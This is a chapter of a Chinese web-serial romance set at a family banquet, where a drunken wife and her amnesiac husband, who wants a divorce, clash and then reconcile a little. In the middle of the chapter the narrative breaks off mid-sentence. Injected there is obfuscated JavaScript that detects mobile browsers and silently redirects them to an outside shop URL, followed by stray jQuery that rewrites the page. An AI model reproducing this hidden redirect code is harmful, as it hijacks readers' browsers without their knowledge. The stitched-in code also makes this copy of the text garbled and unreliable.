7. 家宴事变

作品:《欲罢不能的他

    这是应家不对外开放的家宴,私密性很好,地点在市中心的五星级酒店。


    於蓝没叫上助理,她走进大厅,在签到台报上了自己的名字。


    “你好,於蓝。”


    签到的服务员把两页名单翻了遍,再抬起头时,几乎是把心虚写在了脸上,“抱歉小姐,这里好像没有你的名字……”


    於蓝:“是吗?”


    她又说:“应水砚的旁边,没有我的名字吗?”


    服务员赶紧埋下头又看了一遍,然后他指着应水砚的名字,“小姐您看,应少爷的名字,在第一行,但后面没有您……”


    服务员想起那人给自己的嘱托,语气不由得尖酸刻薄,“要不您还是走了吧?”


    於蓝指着自己:“我走?”


    “——你是怎么办事的?”


    於蓝转过脸,脸上挂起笑容,“妈。”


    “诶。”


    林童走上前牵住於蓝的手,转身看向服务员的名单,有些恼怒:“这是谁做的签到表,居然没把你的名字写上去?”


    服务员:“……是应少爷给的!”


    “这应水砚真是吃了熊心豹子胆了,居然敢这么对你。”林童气得牙痒痒,於蓝轻轻拍了拍她的手,林童却越想越气,“这小子突然跟我们说要跟你……反了,真是反了天了。”


    於蓝:“没事的妈,我俩就是感情问题,分开一阵。”


    “没让你受委屈就好。”林童用手帕擦了擦眼泪。


    於蓝心头一暖,她缓缓说道:“嗯,我没有受委屈。”


    等於蓝进来时,应水砚已经到了。


    他坐在整场宴会厅的中央,於蓝还好奇他那把成天坐的轮椅在哪里,定睛一看,原来就放在他几米之外的地方,有个侍从专门候在那里看着。


    於蓝心中腹诽:“果真是大少爷。”


    应水砚今天专门穿了一件正式的墨黑色西装,脸上挂着笑,他手举起高脚杯,来往的人走过看到他,都要停下来向他敬酒。


    “小应。”


    “应总。”


    “应少爷。”


    应水砚低头,一一和他们碰杯,与他们回应着。


    应水砚整个人都被一层暖光所包围,周边的夸奖声和赞叹声不绝于耳,他也笑起来,是爽朗的笑声。


    灯光、音乐,一切都恰到好处。


    於蓝站在他几步之外,不知怎的,也微微翘起嘴角。


    然而她的笑意还没有持续多久,应水砚便已经在周围的低语声中,转过身看到她了。


    面对於蓝时,他的目光冷冽,全然没了方才客气的态度。应水砚摇晃着高脚杯,他看着走过来的於蓝,说:


    “你怎么来了?”


    这话带着什么味道,於蓝心里门清,方才门口的服务员已经给了她答案。


    於蓝低下身子,在他耳旁用旁人听不到的声音说:


    “在离婚前,所有关于你的场合,我都要在场。”


    “……随便你。”


    应水砚退到椅背上的速度很快,耸了耸肩,似乎对於蓝方才的动作很不适应。


    於蓝看到这一反应,抿着唇,低声笑了。她大步跨过应水砚,他以为她要走了,但她转过了身子,然后随口问了一句:“我的酒杯呢?”


    “我怎么知道……”应水砚有些气愤地回道。


    说完,应水砚侧目,身旁的桌子上有几排空着的高脚杯酒架,他向於蓝指了过去,“这些不全是吗?”


    於蓝抱歉地说:“哦,没看到。”


    “没事。”应水砚说。


    便在应水砚说完走神的那一刻,他另只手一松,再回过神,手中的酒杯遍落到了於蓝的手中。


    应水砚指着她没好气地说:“你干什么!”


    於蓝:“你喊什么?”


    看着应水砚投过来的几乎暴起的目光,於蓝歪着头,朝他微笑,“借我一用。”


    “……”


    应水砚噎住了,喉咙里翻涌的话语几次平反,但想到这是应家的家宴,到底没说什么。


    他抱着臂,目光深远,她究竟想干什么?


    只见於蓝移步到应水砚的身侧,朝人群深处走去,但凡是她进场后与应水砚碰杯的,她便一一敬了过去,就连她们的名字、亲属关系,於蓝都记的万般无二,毫无差错。


    於蓝:“父亲,你好。”


    酒杯碰撞的时候,应天成笑眯眯地看着她,“小蓝,最近怎么样?”


    “挺好的。”於蓝喝下了酒,“没发生什么事情。”


    “没发生什么就好。”


    应天成乐呵呵地笑着,可於蓝知道他心里在想什么。


    最后一个,是应水砚的小姨。


    於蓝:“应燕姐。”


    应燕甜甜地应下,她指着於蓝说:“於蓝,你的酒杯好像空了哦。”


    於蓝这才注意,她一只手举着高脚杯,另一只手连忙去够旁边桌子上的酒杯,可她喝得有些醉了,动作迷迷糊糊的,怎样都算不上是稳重。


    於蓝:“好,那我再倒一点……”


    其实差不多了。於蓝不胜酒力,往常应酬也不是会喝的那种,经常是五杯倒。她算过自己的酒量。


    紧闭着眼甩头强硬让自己清醒的时候,於蓝的耳边传来一阵“哗啦啦”的声音,手中拿起的酒杯也微微有了重量。


    於蓝:“……”


    於蓝:“?”


    她迷瞪地抬起眼,皱起眉头,应水砚已站起身,高大挺拔的身躯挡在她身前。


    他一手按着她的肩膀,另一只手正在往她的高脚杯倒饮料——对,饮料。


    “你给我、倒什么饮料?”


    於蓝有些结巴。


    应水砚难得耐心地说:“橙汁。”他顿了顿,向她确认道:“你不过敏吧?”


    “不、不过敏。”


    “嗯,那就好。”


    应水砚对应燕说:“小姨,我们差不多了。”


    小姨看着他俩,微笑道:“那就好,你们差不多就好。”


    “应水砚。”


    於蓝叫着他的名字,抓着他的衣角,应水砚只能回头看她,只见她一脸认真指着他,问道:


    “你怎么站起来了?”


    应水砚:“……我不能站起来吗?”


    “不能啊,你一直是坐在轮椅上的,怎么就站起来了?”


    应水砚:“……”


    “首先,我的腿没有问题,只是需要静养。其次,我的腿没有问题!……”


    “知道了啊。”於蓝眨巴着眼睛,直接上手抓应水砚的嘴巴,“嘘,你太吵了。”


    应水砚:“於喃……!”


    “诶……”


    应下这句,於蓝渐渐脱力,直接睡了过去,而她几乎整个人都靠在应水砚的身上。


    应水砚:“於蓝,於蓝?”


    他的手探上於蓝的鼻息,“真睡着了啊?”


    应水砚双手抱着她,不由得感慨道:“……我们两个,究竟谁才是病人啊?”


    可即便是应水砚如何抱怨,他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16787452|190551||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是嘟囔了一句:“败给你了。”


    但应水砚却还是支撑着,把於蓝送到离他最近的位置上躺着。


    於蓝睡得很沉稳,中间有几个自带音响的家人来,她也只是蹙眉,翻了个姿势继续睡去。


    “睡挺香。”


    应水砚撑着手,由衷赞叹道。


    应燕也结束了那边的宴会,朝他们走过来,“换地方了?不去你那呆着了?”


    应水砚坐在酒柜后,巨大的酒柜将他和於蓝的身影遮盖得严严实实。


    应水砚:“不想去。”


    应燕眉毛一挑,声音不自觉地加大:“是你不想去,还是她睡着,你才不想去?”


    应水砚:“……”


    应水砚就着应燕犀利的目光,把自己的西装外套脱了下来,递给她。


    应燕奇怪地拿着外套:“你要干嘛?”


    “帮我给她披着,有点冷。”


    应燕:“……应水砚,你知道你现在像什么吗?”


    应水砚:“像什么?”


    “像冷宫里失心疯的妃子。”


    “……什么东西,我就是给她盖件衣服。”


    应水砚默默补了句:“我讨厌她的。”


    “哦~只是盖件衣服。”


    应燕将应水砚的西装外套好好披在了於蓝的身上,刚才还微微打着哆嗦的她又沉沉地睡去,歪头,“可以了?”


    “嗯。”


    “我说,都这样了,你还要和她离婚?你只不过是车祸失忆了,万一想起来发现自己真的很爱她怎么办?”


    她又补了一句:“你那样子,也真像假讨厌。”


    应水砚摇了摇头,无所谓地说:“那又怎样,那是有记忆的我做的事情。”


    应燕震惊地看着他:“你这是什么逻辑?”


    应水砚倒不置可否,他看着於蓝沉睡的侧脸,一时间竟然有些走神,连脑子的思绪也整理不出来,他说:


    “现在的我,对她只有讨厌。”


    “看到她,我就想到一些让我不想回忆的事情。有些事、有些人,我的确忘不了。说实话,我不知道有记忆的我是怎么想的,也不想知道。”


    应燕:“那你……?”


    应水砚沉声道:“如果我真想起来了,那就让想起来的我去做。”


    “好吧。”应燕无奈地摊手,“这是你的选择咯,小姨干涉不了你。”


    “啊!!”


    这时,两人突然听到晚宴那边传来一声惊叫。


    “是我妈。”应水砚说。


    应燕给了应水砚一个眼神,“我去看看你妈。”


    “好。”


    应燕走后,应水砚将於蓝安顿好,他把盖在她身上的衣服披得更实了,临走前,他最后看了一眼於蓝,他说:“我究竟应该对你是什么想法?”


    “你又是什么样的人?”


    “……”


    於蓝没有回答。


    应水砚叹了口气。


    於蓝回答不了他,她还睡着。


    那就让她睡着吧。


    推着轮椅从角落里缓慢出现的时候,应水砚发现,方才与他接触过的、或者是没有接触的应家人,个个都用那些奇怪的目光看着他。


    其中,应燕的眼神最为古怪。


    应水砚皱着眉,问道:“怎么了?”


    围在人群中间,被众人安慰着的林童指着应水砚,她愤怒而绝望的声音在整间宴会厅回荡着:


    “应水砚,你居然敢出轨?那个女人是谁??!”